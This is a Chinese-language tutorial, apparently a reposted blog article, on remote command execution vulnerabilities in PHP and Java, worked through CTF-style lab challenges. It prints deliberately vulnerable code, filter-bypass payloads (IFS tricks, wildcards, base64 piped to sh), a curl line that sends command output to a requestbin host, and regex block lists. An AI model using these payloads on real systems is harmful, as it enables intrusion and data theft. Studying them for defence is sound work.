远程命令执行漏洞原理,以及防护绕过方式

一、背景

RCE(Remote Command /Code Execute) 远程代码执行漏洞
通过PHP代码注入、Java代码注入等方式连接程序中预留的后门或接口从而进行远程命令执行,达到对服务器的控制。
为什么会出现远程代码执行漏洞呢?
Web应用有时需要调用执行一些系统命令函数,比如:用户想通过Web页面输入命令,测试系统与www.xxx.com是否可以正常连接,那么Web应用底层就可能去调用系统操作命令“ping”,如果此处Web程序没有过滤好用户输入的命令时,就很可能会形成系统命令执行漏洞。

远程管理工具需要执行系统命令:我们通常使用远程管理工具链接服务器进行服务器远程管理和控制服务器的软件。如果这些工具存在漏洞,那么攻击者可以利用它来执行一些远程命令并获取对目标系统的控制权。

二、远程命令执行原理

2.1 如果没有进行过滤的远端命令执行

远程命令执行,指用户通过浏览器或者远程攻击提交执行命令,由于服务器端,没有针对执行函数做过滤,就执行了恶意命令。
比如Java代码,我们来演示一下远程代码执行漏洞:

import java.io.IOException;
import java.util.Scanner;
public class CommandRunner {public static void main(String[] args) throws IOException {Scanner scanner = new Scanner(System.in);String command = scanner.nextLine();Runtime.getRuntime().exec(command); // 潜在的远程代码执行漏洞}
}

上述代码中,程序使用Scanner类获取用户输入的命令,并使用Runtime类的exec()方法来执行该命令。然而,这里存在一个潜在的远程代码执行漏洞。如果应用程序没有对用户输入进行正确的验证和过滤,攻击者可以通过输入恶意命令来执行任意代码。

举个例子,如果用户输入ls -a,程序将执行ls -a命令来列出目录中的所有文件和文件夹。然而,如果用户输入的是rm -rf /,则相当于执行了一个删除操作,可能导致系统数据的丢失。

在Web端比较常见的PHP语言开发的系统中,如果使用了PHP的危险函数和语句(system、exec、shell_exec、passthru、popen、``、eval、assert、preg_replace、call_user_func、array_map、动态函数)经过构造后可以用字符串或是PHP代码执行系统命令的特性,从而调用这些函数实现远程代码执行,达到对服务器的控制。

2.2 对过滤进行绕过

此时我们就要参考进行命令替换了,首先我们先认识一下多个命令执行的逻辑,以Linux系统为例如下图:

符号例子解释
;A;B无论A执行成功与否都会执行B
&A&BA后台执行;A、B同时执行
&&A&&BA执行成功后才能执行B

在这里插入图片描述
其次Linux中查看和执行的命令
在这里插入图片描述
常见的查看命令
在这里插入图片描述

如果关键字符串被拦截,应该怎么绕过呢?
空格被过滤
%09(tab键的URL编码) ${IFS} 替换空格键

过滤字符串
可使用通配符 *(任意长度的字符串) ?(替换一个字符) []
比如我们要查看flag文件,我们可以使用如下绕过方式,但是过滤了flag字符串:
cat [e-g]lag
cat *lag
cat ?lag

过滤分号
; | || & &&

过滤cat
tac nl more …

过滤空格
%09(tab键url编码)${IFS} $IFS$9 <

过滤字符串
通配符
f* fla? [e-g]la[a-g]
插入符号
fl’'ag fl""ag f\lag
或者使用base64编码
Y2F0IGZsYWcucGhw就是用base64加密的cat flag.php
cat通过Base64编码需要执行
echo$IFS 1 Y 2 F 0 I G Z s Y W c u c G h w ∣ b a s e 64 1Y2F0IGZsYWcucGhw|base64 1Y2F0IGZsYWcucGhwbase64IFS$1-d|sh

三、远程命令执行例子

接下来我们通过PHP函数,来演示存在的远程命令执行漏洞

3.1 无任何过滤的远程执行函数

<?php
if(isset($_GET['c'])){$c=$_GET['c'];system($c)}
?>

该实例无任何拦截,可以执行任何通过url传入的Linux命令

3.2 执行结果无返回

<?php
if(isset($_GET['c'])){$c=$_GET['c'];system($c." >/dev/null 2>&1");
}else{highlight_file(__FILE__);
}

分析 主要是 可以构造c命令,但是使用的是system命令,但是注意 如果直接构造?c=ls 就会构造成 ls>/dev/null 2>&1 表示命令执行将结果不显示,怎么办呢?构造命令执行 ?c=ls;pwd 就会构造成 ls;pwd>/dev/null 2>&1 即将pwd结果扔进垃圾桶,ls正常执行和回显

3.3 过滤特殊字符

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

这里面主要对输入命令c进行了过滤,不能存在分号;(可以使用||分割命令,或者使用&(url中传入命令执行需要将&转义URLEncode%26))和cat(可以使用tac或者使用ca\t 等等) ,其余原理同上题?c=ls||pwd 命令查询所有文件,然后不能用cat 可以使用tac 倒叙查看flag.php 文件


<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/;|cat|flag/i", $c)){system($c." >/dev/null 2>&1");}else{echo 'error!';}
}else{highlight_file(__FILE__);
}

原理同上,不过这里面过滤了flag关键字,使用tac flag.php将会不执行,可以使用通配符 tac fla*.php

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| /i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

原理同上,这里增加过滤了空格 可以使用$IFS$9 进行代替

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

同上,这里面增加了数字和$不能过滤和*通配符(可以用?通配符),c=tac<>?lag.php||pwd 使用了绕过

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){echo($c);$d = system($c);echo "
".$d;}else{echo 'no';}
}else{highlight_file(__FILE__);
}

这道题过滤关键字特别多?c=ca\t{$IFS}fl?g.php 通过这样的命令进行绕过,因为他没有将结果扔进黑洞,所以不需要命令连接符

这是一道pikachu靶场提供了测试域名/IP的 Ping 功能(命令执行漏洞模块),通过信息收集,我们得知其对命令的过滤条件
/?ip=
PING 1.1.1.1 (1.1.1.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);die("fxck your symbol!");} else if(preg_match("/ /", $ip)){die("fxck your space!");} else if(preg_match("/bash/", $ip)){die("fxck your bash!");} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){die("fxck your flag!");}$a = shell_exec("ping -c 4 ".$ip);echo "
";print_r($a);
}
?>

通过代码分析发现对通配符和空格编码进行了过滤,并且"/.*f.*l.a.g./"这种正则匹配对直接构造flag以及使用通配符都无效,因为对也进行了过滤,我们可以采用变量命名方式,构造两个变量 a和b,如:?ip=1.1.1.1;b=ag;a=fl;cat$IFS 9 9 9a$b.php

3.4 执行命令没有回显

<?php
if(isset($_GET['c'])){$c=$_GET['c'];exec($c." >/dev/null 2>&1");
}else{highlight_file(__FILE__);
}

这里函数使用的exec进行远程命令执行,这个执行结果是没有回显,如果要读取特定文件flag,怎么办?考虑将结果写入另一个文件,然后单独访问这个文件,首先是这个系统是有写入权限的,或者外带数据。
比如写入另一个文件中,操作如下执行 cat flag.php > 123.txt 即可将结果写入123.txt文件中,然后通过 ?c=ls > 123.txt 即将结果写入道123.txt文件中,然后反问123.txt即可获取内容。
比如使用外带 通过https://requestbin.net/这个外带平台,但是get传参数会有长度限制?c=curl http://http.requestbin.buuoj.cn/xxx?c=ls|sed -n "1,5p"|base64 将结果显示只显示1~5行然后通过base64编码结果

四、典型案例

远程命令执行的漏洞危害特别大,已进行暴露出来的远程执行漏洞,比如:
log4j命令执行(CVE-2017-5645): 是 Apache Log4j 服务器的一个反序列化命令执行漏洞,攻击者可以利用这个漏洞通过发送精心制作的请求,远程执行命令,从而危及服务器的安全。

pache Struts漏洞(CVE-2017-5638):这是一个非常著名的RCE漏洞案例,影响了Apache Struts框架。攻击者可以通过发送恶意的HTTP请求利用该漏洞,执行任意代码并获取服务器的控制权。这个漏洞被广泛利用,导致了多个大规模数据泄露事件。

Microsoft Windows SMB漏洞(MS17-010):这是一个影响微软Windows操作系统的RCE漏洞。攻击者可以通过发送特制的SMB请求,利用该漏洞在远程系统上执行任意代码。这个漏洞被用于传播WannaCry勒索软件,造成了全球范围内的大规模攻击和数据损失。

Drupal漏洞(CVE-2018-7600):这是一个影响Drupal内容管理系统的RCE漏洞。攻击者可以通过发送特制的请求,利用该漏洞执行任意代码,并获取网站服务器的控制权。这个漏洞被广泛利用,导致了许多Drupal网站被入侵和操纵。

Apache Tomcat漏洞(CVE-2020-1938):这是一个影响Apache Tomcat服务器的RCE漏洞。攻击者可以通过发送特制的请求,利用该漏洞执行任意代码,并获取服务器的控制权。这个漏洞被称为“Ghostcat”,影响了许多Tomcat服务器。

Jenkins漏洞(CVE-2018-1000861):这是一个影响Jenkins持续集成工具的RCE漏洞。攻击者可以通过发送特制的请求,利用该漏洞在受影响的Jenkins服务器上执行任意代码。这个漏洞被广泛利用,导致了许多Jenkins服务器被入侵和滥用。

五、总结

今天分享了远程执行指令的原理和如何进行远程执行指令漏洞的利用和绕过方法,远程命令执行的漏洞危害性特别大,攻击者可以利用远程命令执行漏洞给运营团队带来如下一些危害:继承Web服务程序的权限去执行系统命令或读写文件、反弹shell、控制整个网站甚至服务器、进一步内网渗透。在防御的过程我们可以通过加强对用户输入的验证:比如限制输入内容,其次,采用最小权限原则,将程序运行权限限制在最低限度。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/157558.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据库的基本操作

DDL&#xff1a; 1.查询 show databases; 创建数据库&#xff1a; create data 数据库名称; 创建数据库(判断&#xff0c;如果不存在则创建)&#xff1a; create database if not exists 数据库名称&#xff1b; 删除数据库 drop database 数据库名称&#xff1b; drop databa…

异行星低代码平台--第三方插件对接:企业微信平台对接(二)

异行星低代码平台可以集成企业微信&#xff0c;实现单点登录、消息推送和组织机构同步。 提示 此功能需要异行星低代码平台企业版授权才能使用。 企业微信集成​ 单点登录 异行星低代码平台集成到企业微信后&#xff0c;只要使用企业微信账户登录企业微信客户端&#xff0…

CSS-背景属性篇

属性名&#xff1a;background-color 功能&#xff1a;设置背景颜色 属性值&#xff1a;符合CSS中颜色规范的值 默认背景颜色是 transparent body{ background-color: blue; } 属性名&#xff1a;background-image 功能&#xff1a;设置背景图片 属性值&#xff1a;url(图片的…

sklearn中的TfidfTransformer和gensim中的TfidfModel的区别

sklearn.feature_extraction.text.TfidfTransformer 和 gensim.models.TfidfModel 都是用于计算文本数据的 TF-IDF 值的工具。它们的主要区别在于实现方式和输入数据的格式。 1、实现方式和输入数据格式&#xff1a; TfidfTransformer 是 scikit-learn 中的一个类&#xff0c;…

PyTorch多GPU训练时同步梯度是mean还是sum?

PyTorch 通过两种方式可以进行多GPU训练: DataParallel, DistributedDataParallel. 当使用DataParallel的时候, 梯度的计算结果和在单卡上跑是一样的, 对每个数据计算出来的梯度进行累加. 当使用DistributedDataParallel的时候, 每个卡单独计算梯度, 然后多卡的梯度再进行平均.…

shell 脚本语句

目录 条件语句 test 命令 比较整数数值 字符串比较 命令举 条件逻辑测试操作 组合写法 举例 双中括号 ​编辑 ( ) / { } if 语句的结构 case 语句 脚本举例 识别 yes 和 no 脚本 检查磁盘使用情况脚本 新建用户以及随机设置用户密码的脚本 补充命令 [RANDOM…

【高性能计算】CUDA,OpenCL,FPGA 加速,MPI

OpenCL OpenCL&#xff08;Open Computing Language&#xff09;是一种跨平台的GPU加速技术&#xff0c;由Khronos Group开发。OpenCL允许开发人员在不同的硬件平台上编写并行计算应用程序。 OpenCL使用C语言的子集来编写应用程序&#xff0c;并提供了一组API&#xff0c;可以…

web:[GXYCTF2019]禁止套娃

题目 打开页面显示为 没有其他信息&#xff0c;查看源代码也是空的 用dirsearch扫一下 可能是git源码泄露&#xff0c;可以用githack获取源码 python Githack.py http://5063c85b-a33d-4b6f-ae67-262231a4582e.node4.buuoj.cn:81/.git/去工具所在的目录找到index.php文件 打开…

香港服务器减少延迟的几种方法

我们在租用香港服务器时&#xff0c;总觉得网站程序反应太慢。选择了香港服务器的开发商和企业对香港服务器目前的访问速度不满意 怎么办&#xff1f;第一点是换服务器。更换配置更大、带宽更高的服务器&#xff0c;可以更好的解决网站访问速度。如何减少香港服务器的延时 速度…

hm商城微服务远程调用及拆分

RequiredArgsConstructor是Lombok库中的一个注解 它会自动在类中生成一个构造函数&#xff0c;这个构造函数会接收类中所有被标记为final的字段&#xff0c;并将其作为参数。这个注解可以帮助我们减少样板代码&#xff0c;例如手动编写构造函数。 eg&#xff1a; public fin…

【JavaEE】Spring的创建和使用(保姆级手把手图解)

一、创建一个Spring项目 1.1 创建一个Maven项目 1.2 添加 Spring 框架支持 在pom.xml中添加 <dependencies><dependency><groupId>org.springframework</groupId><artifactId>spring-context</artifactId><version>5.2.3.RELEASE&…

数据仓库架构之详解Kappa和Lambda

目录 一、前言 二、架构详解 1 Lambda 架构 1.1 Lambda 架构组成 1.2 Lambda 特点 1.3 Lambda 架构的优点 1.4 Lambda 架构的不足 2 Kappa 架构 2.1 Kappa 架构的核心组件 2.2 Kappa 架构优点 2.3 Kappa 架构的注意事项 三、区别对比 四、选择时考虑因素 一、前言 …

vue解除数据双向绑定

let obj JSON.parse(JSON.stringify(data));例如&#xff0c;table列表中&#xff0c;点击编辑时&#xff0c;可对val进行如上操作来解除双向绑定

【冒泡排序设计】

【冒泡排序设计】 思路代码结果 思路 冒泡排序这个算法&#xff0c;对于我这样的初学者来说&#xff0c;也不是很简单&#xff01;&#xff01;&#xff01;&#xff08;没有想象的那么简单&#xff09;&#xff01;  它的核心思想是&#xff1a;两两相邻的元素进行比较&#…

Django DRF限流组件

在DRF中&#xff0c;限流发生在认证、权限之后&#xff0c;限流组件的使用步骤&#xff1a; 1、编写自定义限流类&#xff1b; 2、在settings.py中配置redis&#xff1b; 3、安装django-redis; 4、启动redis服务&#xff1b; 5、局部应用&#xff0c;一般是在核心的视图中使用&…

2023前端大厂高频面试题之JavaScript篇(5)

系列文章: 2023前端大厂高频面试题之JavaScript篇(1) 2023前端大厂高频面试题之JavaScript篇(2) 2023前端大厂高频面试题之JavaScript篇(3) 2023前端大厂高频面试题之JavaScript篇(4) 2023前端大厂高频面试题之JavaScript篇(5) 2023前端大厂高频面试题之HTML篇 2023前端大厂高…

源码安装Apache

一、下载Apache,源码安装Apache #下载 [rootlocalhost opt]# wget -c https://mirrors.aliyun.com/apache/httpd/httpd-2.4.58.tar.gz [rootlocalhost opt]# ls httpd-2.4.58.tar.gz [rootlocalhost opt]# tar -xf httpd-2.4.58.tar.gz [rootlocalhost opt]# ls httpd-2.4.58…

达索系统3DEXPERIENCE WORKS 2024 Fabrication新功能

当发现产品的制造环节&#xff0c;以及因产品模型本身的设计而导致制造环节存在不合理性&#xff0c;从而导致加工制造成本增加。 快速判断&#xff0c;轻松协作 在达索系统3DEXPERIENCE WORKS 2024中我们可以快速的判断产品的可制造性&#xff0c;以及快速与前端设计沟通协作…

Linux驱动开发笔记(四):设备驱动介绍、熟悉杂项设备驱动和ubuntu开发杂项设备Demo

若该文为原创文章&#xff0c;转载请注明原文出处 本文章博客地址&#xff1a;https://hpzwl.blog.csdn.net/article/details/134533533 红胖子网络科技博文大全&#xff1a;开发技术集合&#xff08;包含Qt实用技术、树莓派、三维、OpenCV、OpenGL、ffmpeg、OSG、单片机、软硬…

[AutoSar]在Davinci Configurator中导入Dbc Cdd 文件

目录 关键词平台说明一、实现步骤1.1 添加相关模块1.2 导入文件1.3 加载完成后点next而不是finish1.4 更新配置1.5 解决错误 关键词 嵌入式、C语言、autosar 平台说明 项目ValueOSautosar OSautosar厂商vector芯片厂商TI编程语言C&#xff0c;C编译器HighTec (GCC) 一、实现…